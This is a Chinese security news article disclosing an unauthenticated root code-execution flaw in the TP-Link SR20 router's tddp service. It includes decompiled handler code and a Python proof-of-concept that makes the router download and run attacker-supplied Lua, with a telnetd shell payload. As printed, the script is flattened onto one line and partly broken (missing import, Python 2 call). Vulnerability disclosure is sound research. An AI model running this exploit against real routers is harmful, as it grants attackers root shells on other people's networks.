概述
Google安全开发人员Matthew Garrett发现TP-Link SR20智能家庭路由器存在0 day任意代码执行漏洞,处于同一网络的攻击者可以利用漏洞以root权限执行任意命令。
Garrett称公开漏洞是由于自他将漏洞报告给TP-link已经90天了,而TP-link尚未修复给漏洞,且没有给出回应。
技术分析
TP-Link SR20路由器融合了Zigbee/ZWave hub和路由器的功能,提供一个触摸屏用于配置和控制。固件二进制文件参见。研究人员分析固件发现一个名为tddp的可执行文件。运行arm-linux-gnu-nm -D发现它会导入popen(),因为popen()会将参数直接传递给shell,所以如果可以将用户控制的输入传给popen()调用,也就可以实现攻击利用。 Tddp是TP-Link Device Debug Protocol(设备调试协议),运行在大多数的TP-Link设备上,但在不同的设备上却有不同的功能。最常见的就是协议,有趣的是该协议的v2版本是需要认证的,还需要知道路由器的admin密码,而v1版本是非认证的。
将tddp复制到Ghidra中进行分析后,研究人员发现了一个名为recvfrom()的函数,它会从网络socket中复制信息。它会查看packet中的第一个字节,并用来决定使用的是哪种协议,并根据协议的版本确定要将packet传递给哪个dispatcher。在v1版本中,dispatcher会查看packet的第二个字节,并根据其中的值调用不同的函数,0x31就是CMD_FTEST_CONFIG。 研究人员对该函数进行了反编译:
int ftest_config(char *byte) { int lua_State; char *remote_address; int err; int luaerr; char filename[64] char configFile[64]; char luaFile[64]; int attempts; char *payload; attempts = 4; memset(luaFile,0,0x40); memset(configFile,0,0x40); memset(filename,0,0x40); lua_State = luaL_newstart(); payload = iParm1 + 0xb027; if (payload != 0x00) { sscanf(payload,"%[^;];%s",luaFile,configFile); if ((luaFile[0] == 0) || (configFile[0] == 0)) { printf("[%s():%d] luaFile or configFile len error.\n","tddp_cmd_configSet",0x22b); } else { remote_address = inet_ntoa(*(in_addr *)(iParm1 + 4)); tddp_execCmd("cd /tmp;tftp -gr %s %s &",luaFile,remote_address); sprintf(filename,"/tmp/%s",luaFile); while (0 < attempts) { sleep(1); err = access(filename,0); if (err == 0) break; attempts = attempts + -1; } if (attempts == 0) { printf("[%s():%d] lua file [%s] don\'t exsit.\n","tddp_cmd_configSet",0x23e,filename); } else { if (lua_State != 0) { luaL_openlibs(lua_State); luaerr = luaL_loadfile(lua_State,filename); if (luaerr == 0) { luaerr = lua_pcall(lua_State,0,0xffffffff,0); } lua_getfield(lua_State,0xffffd8ee,"config_test",luaerr); lua_pushstring(lua_State,configFile); lua_pushstring(lua_State,remote_address); lua_call(lua_State,2,1); } lua_close(lua_State); } } } }
可以看出该函数会将对含有两个用;隔开的字符串的payload的packet进行分析。第一个字符串是文件名,第二个是配置文件。然后调用tddp_execCmd("cd /tmp; tftp -gr %s %s &",luaFile,remote_address),它会在后台执行tftp命令。然后连接回发送该命令的机器,并尝试通过tftp协议下载与发送的文件名对应的文件。主tddp进程会回等待4秒钟的时间来等候文件出现,一旦出现就将文件加载到LUA翻译器中,然后用配置文件名和远程地址作为参数调用config_test()。因为config_test()是从远程机器下载的文件提供的,因此在翻译器中可以执行任意代码,包括在主机上运行命令的os.execute方法。因为tddp是以root权限运行的,所以攻击者也可以以root权限执行任意命令。
POC
PoC代码如下:
#!/usr/bin/python3 # Copyright 2019 Google LLC. # SPDX-License-Identifier: Apache-2.0 # Create a file in your tftp directory with the following contents: # #function config_test(config) # os.execute("telnetd -l /bin/login.sh") #end # # Execute script as poc.py remoteaddr filename import binascii import socket port_send = 1040 port_receive = 61000 tddp_ver = "01" tddp_command = "31" tddp_req = "01" tddp_reply = "00" tddp_padding = "%0.16X" % 00 tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding]) sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock_receive.bind(('', port_receive)) # Send a request sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = binascii.unhexlify(tddp_packet) argument = "%s;arbitrary" % sys.argv[2] packet = packet + argument.encode() sock_send.sendto(packet, (sys.argv[1], port_send)) sock_send.close() response, addr = sock_receive.recvfrom(1024) r = response.encode('hex') print(r)- 4HOU.COM

评论